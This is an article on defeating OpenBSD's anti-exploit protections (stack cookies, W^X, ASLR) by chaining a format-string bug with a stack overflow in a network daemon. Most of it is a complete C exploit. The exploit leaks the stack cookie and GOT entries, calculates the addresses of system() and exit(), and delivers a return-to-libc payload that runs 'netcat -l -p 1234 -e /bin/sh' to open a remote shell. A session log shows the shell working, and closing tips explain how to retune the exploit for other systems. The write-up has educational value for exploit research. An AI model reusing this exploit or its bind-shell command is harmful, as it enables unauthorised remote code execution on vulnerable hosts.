In recent years there has been a lot of focus on so called anti-exploit techniques being built into operating systems. These techniques come in a wide range of functionality but all with the same goal, to make the process of writing functional exploits harder, if not impossible. The general idea is that you will never be able to write 100% bugfree code so you have to make the process of exploiting these bugs harder. One of the operating systems that was among the first to incorporate some of these techniques and has probably also taken it the furthest is OpenBSD.
OpenBSD employs a wide range of measures designed to harden the system against traditional exploits, some of which are:
- Propolice/ssp, this is a stackcookie implementation, it's main point is to protect against linear stack-overflows.
- W^X, this is OpenBSD's way of tackling the non-exec stack problem, although it goes much further. As you might guess from the name, it ensures that not a single memory page is mapped both writeable and executable, this makes running shellcode very hard.
- Stackgap, this is a randomazation of the stacks base-address, this means that guessing the address of our data/shellcode/whatever becomes much harder.
- ASLR/Randomized mapping of libraries, this protects against the classic return-to-libc technique
In this article I will show you a theoretical scenario where these measures can be subverted, the scenario that is laid out is perhaps not very likely to exist in a realworld application (although not completely unheard of [1]), and this article should be seen more as food for thought on the subject of circumventing anti-exploit techniques than a practically applicable technique.
These techniques are meant for 32-bit intel compatible systems.
The most basic prerequisites for this technique to work is a formatstring bug that allows us to read the output, and a daemon-like program. The second point is required because we use the bug multiple times in order to exploit the program and we need the program to continue running between these calls.
This means a network daemon in our scenario, although it should work in a local scenario with a system process as well, perhaps a process with a formatstring bug in a log function and a logfile you have read access to.
As you'll see further down, we've made it a little easier for our selfs in this example, which adds a few more prerequisites. I've used sprintf as the vulnerable function instead of snprintf, so in addition to a formatstring bug there's also a buffer overflow, and we assume that gnu netcat is installed on the system. So without further ado, here's our vulnerable app, like any example, it's as useless as it's dumb.
The basic idea here is that we use the formatstring to read information that we need to know to build a succesful exploit. We need a couple of things as you will see in the exploit itself. In order to not make this paper overly long, I've done a lot of the explaining in the form of comments beside the code itself.
We first need to find out a couple of offsets, these offsets are used by the formatstring parameter $ to read a word on the stack. We then use the offsets we've gathered to read, in order, the stackcookie and the stored framepointer. When we have the stackcookie we can overflow the buffer without being trapped by ProPolice, and from the stored framepointer we can get an idea of where on the stack our buffer exists.
We now need to know where we want to divert execution, here we want to call system(), libc is mapped at a random location so we don't know where to jump, however the Global Offset Table contains addresses of mapped functions. The problem is that our vulnerable program doesn't use system() so it's address wont be resolved by our program, and hence wont exist in the GOT.
However we know that printf() is used and therefore exists in the GOT, from debugging we know that it's the third entry. And we can calculate the offset between printf() and system(), this value can of course change between systems, but OpenBSD is a very stable OS so it's fairly stable. So we use the formatstring-bug to read the third GOT entry, and then we calculate the address of system(), and while we're at it we calulate the address for exit() as well, just to give our exploit a nice clean exit.
We now have all the info that we need to build an exploit string. It will look something like this:
|"%.1024u" | stackcookie | pad | system() | exit() | address of command | null | ///command | null |
Where command is the command string we want to send to system(). Because we don't know the exact address of our string, we will use a few '/' as a form of NOP-sled.
Since we're able to send null-bytes we might as well create two nice null-terminated strings, one with our overflow data and one containing our command to be executed. By doing this instead of tacking our command at the end of our first string we ensure that we don't write too far into the stack, where we might hit something important, like the $SHELL environment variable.
And now for an example session:
chris_fs@kubuntu:$ uname -sr
Linux 2.6.17-12-generic
chris_fs@kubuntu:$ ./exploit 192.168.0.88
Found target buffer at offset: 20, searching for ret... found at offset: 539
Ret: 0x1c0006c0, Frame: 0xcfbdc1bc, Cookie: 0x7e4d3594
Address of printf(): 0xa385514, system(): 0xa377570, exit(): 0xa3a788c
chris_fs@kubuntu:$ netcat 192.168.0.881234
uname -sr
OpenBSD 4.2exit
chris_fs@kubuntu:$
And here's the code:
#include "sys/types.h"#include "sys/socket.h"#include "netinet/in.h"#include "stdlib.h"#include "stdio.h"#include "string.h"#define BUFFSIZE 1024#define MAXSPLITS 100#define GOTADDR 0x3c002148//OpenBSD 3.9//#define SYSTEMOFFSETFROMPRINTF 57076//#define EXITOFFSETFROMPRINTF -150100//OpenBSD 4.2#define SYSTEMOFFSETFROMPRINTF 57252#define EXITOFFSETFROMPRINTF -140152
char *splits[MAXSPLITS];
char command[] = "/usr/local/bin/netcat -l -p 1234 -e /bin/sh";
int myexit(char *text){printf("%s\n", text);
exit(-1);
}
long readhex(char *str){
unsigned long long frame = 0;
char hexaddr[11] = "0x";
strncpy(hexaddr+2, str, 8);
frame = strtoul(hexaddr, 0, 16);
return(long) frame;
}
void writeaddress(char *buffer, unsigned int address){
int i;
for(i = 0; i < 4; i++)
buffer[i] = (char)(address>>(i*8)) & 0x000000ff;
}
void sendrecv(char *buffer, int sock, int len){
int bytes = (len == 0) ? strlen(buffer) : len;
if((bytes = send(sock, buffer, bytes, 0)) == -1)
myexit("Error on send()\n");
bytes = 0;
memset(buffer, 0, BUFFSIZE);
if((bytes = recv(sock, buffer, BUFFSIZE, 0)) == -1)
myexit("Error on recv()\n");
}
void split(char *buffer, char **splits){
char *p = 0;
int i = 0;
memset(splits, 0, MAXSPLITS*4);
p = (char*)strtok(buffer, " ");
while(p && (i < (MAXSPLITS-1))){
splits[i++] = p;
p = (char*)strtok(0, " ");
}}
int search(int start, int max, char *pad, const char *match, int sock){
int i;
char buffer[BUFFSIZE];
for(i=start; i < max; i++){
snprintf(buffer, BUFFSIZE, "%s%%%i$x", pad, i);
sendrecv(buffer, sock, 0);
if(strncmp(buffer, match, strlen(match)) == 0)return i;
}return-1;
}
int main(int argc, char *argv[]){
int mysocket = 0, res = 0, i = 0, cookieoffset = 0, pad = 0;
int targetbufferoffset = 0, retoffset = 0, ret = 0;
int j = 0;
unsigned int *bufferptr = 0;
unsigned int cookie = 0, frame = 0, count = 0;
unsigned int exitaddr = 0, systemaddr = 0;
struct sockaddr_in address;
char buffer[BUFFSIZE];
if(argc != 2)
myexit("Usage: ./exploit target-ip\n");
if(!(mysocket = socket( AF_INET, SOCK_STREAM, 0)))
myexit("Couldn't create socket\n");
memset((char *) &address, 0, sizeof(address));
address.sin_family = AF_INET;
address.sin_port = htons(15001);
address.sin_addr.s_addr = inet_addr(argv[1]);
res = connect(mysocket, (struct sockaddr *) &address, sizeof(address));
if(res != 0)
myexit("Couldn't connect\n");
//By prepending ABAB in our search and matching against ABAB424142414241//we are able to search for the start off our buffer. We will know the//offset to use, when referencing data in our buffer in further probes
i = search(1, 300, "ABAB", "ABAB42414241", mysocket);
targetbufferoffset = i;
if(targetbufferoffset < 0)
myexit("Couldn't locate targetbuffer offset\n");
printf("Found target buffer at offset: %i, searching for ret...", i);
memset(buffer, 0, BUFFSIZE);
//Okey now we need the stackcookie, we find it right after our 2 buffers//2048 bytes = 512 words, and we also read the stored framepointer//We grab the the cookie and the following 39 bytes off the stack
cookieoffset = targetbufferoffset + 512;
for(i = 0; i< 40; i++){
res += sprintf(buffer+res, "%%%i$x ", cookieoffset+i);
}
sendrecv(buffer, mysocket, 0);
split(buffer, splits);
cookie = readhex(splits[0]);
//Now we try to find our return address we look for something looking//like a return address, and if the word before it looks like a//framepointer, we're hopefully rightfor(i = 0; i < 40; i++){if((strncmp(splits[i], "cf",2) == 0) &&
(strncmp(splits[i+1], "1c00", 4) == 0))break;
}if(i == 40)
myexit("couldn't find return address\n");
retoffset = cookieoffset+i+1;
frame = readhex(splits[i]);
ret = readhex(splits[i+1]);
printf(" found at offset: %i\n", retoffset);
printf("Ret: %p, ", ret);
printf("Frame: %p, ", frame);
printf("Cookie: %p\n", cookie);
//Okey we have got what we need on the stack, time for the GOT entries
memset(buffer, 0, BUFFSIZE);
snprintf(buffer, BUFFSIZE, "%%%i$s", targetbufferoffset+2);
//Lucky for us we can send null bytes, OBSD devs do anything to make it//harder to crack, GOT table address contains nullbyte - go figure.//The third entry is printf(), so we add 12 bytes to our address
writeaddress(buffer+8, (GOTADDR+12));
sendrecv(buffer, mysocket, 13);
bufferptr = (int*) buffer;
count = *bufferptr;
//If we're unlucky, libc is mapped at an address containing 0x00if((count >> 24) == 0)
myexit("Unlucky libc address contains nul-byte\n");
//Now that we have the address of printf, we can calculate the rest
systemaddr = count - SYSTEMOFFSETFROMPRINTF;
exitaddr = count - EXITOFFSETFROMPRINTF;
printf("Address of printf(): %p", count);
printf(", system(): %p", systemaddr);
printf(", exit(): %p\n", exitaddr);
//Okey now we have all the info we need to write our exploit string//When we deliver the full string we need 1024+cookie...\0
memset(buffer, 0, BUFFSIZE);
strncat(buffer, "%.1024u", BUFFSIZE);
bufferptr = (int*)(buffer+strlen(buffer));
writeaddress((char *) bufferptr++, cookie); //Add stackcookie//We add garbage for the space between cookie and ret
pad = retoffset - (cookieoffset +1);
printf("\nPad: %i\n", pad);
for( i = 0; i < pad ; i++){
writeaddress((char *) bufferptr++, 0xaaaaaaaa);
}
writeaddress((char *) bufferptr++, systemaddr);//Add system()
writeaddress((char *) bufferptr++, exitaddr); //Add exit()//Add the address for our system() string, here we guess based on the//stored framepointer we retreived earlier, we should land in our sled
writeaddress((char *) bufferptr++, frame-1650); //Add pointer//Fill the buffer with our "NOP-sled", and add our command for system()
memset(buffer+strlen(buffer)+1, '/', 800);
strncat(buffer+strlen(buffer)+1, command, strlen(command));
sendrecv(buffer, mysocket, BUFFSIZE);
//Close connection, invoke ret -> our code
close(mysocket);
return0;
}
There are still three (two really) hardcoded values in the exploit that might prevent the exploit from working on your system, the first is the GOT address. The second and third are the offsetvalues, which we use to calculate the offset from printf() to system() and exit(), SYSTEMOFFSETFROMPRINTF and EXITOFFSETFROMPRINTF.
The exploit could be improved on, to search for and find these values as well, however since I'm too lazy and this is only Proof of Concept I used hardcoded values. So you might have to tweak these values to get it running on your system.
If you want to get the exploit working on your system, but don't know how, you can follow the below pointers [2].
[2] To get the GOT address of your vuln app, just run:
objdump -h vuln | grep got
and note down the address of the .got segment
If you don't know how to calculate the offsets for SYSTEMOFFSETFROMPRINTF and EXITOFFSETFROMPRINTF you can compile the below code and run it like:
./getoffset printf system
./getoffset printf exit
You have to alter the line: #define LIBC "/usr/lib/libc.so.41.0" to match the libc filename on your system. Now after you have the correct values for GOT, SYSTEMOFFSETFROMPRINTF and EXITOFFSETFROMPRINTF just change the values in the exploit and recompile. Good Luck!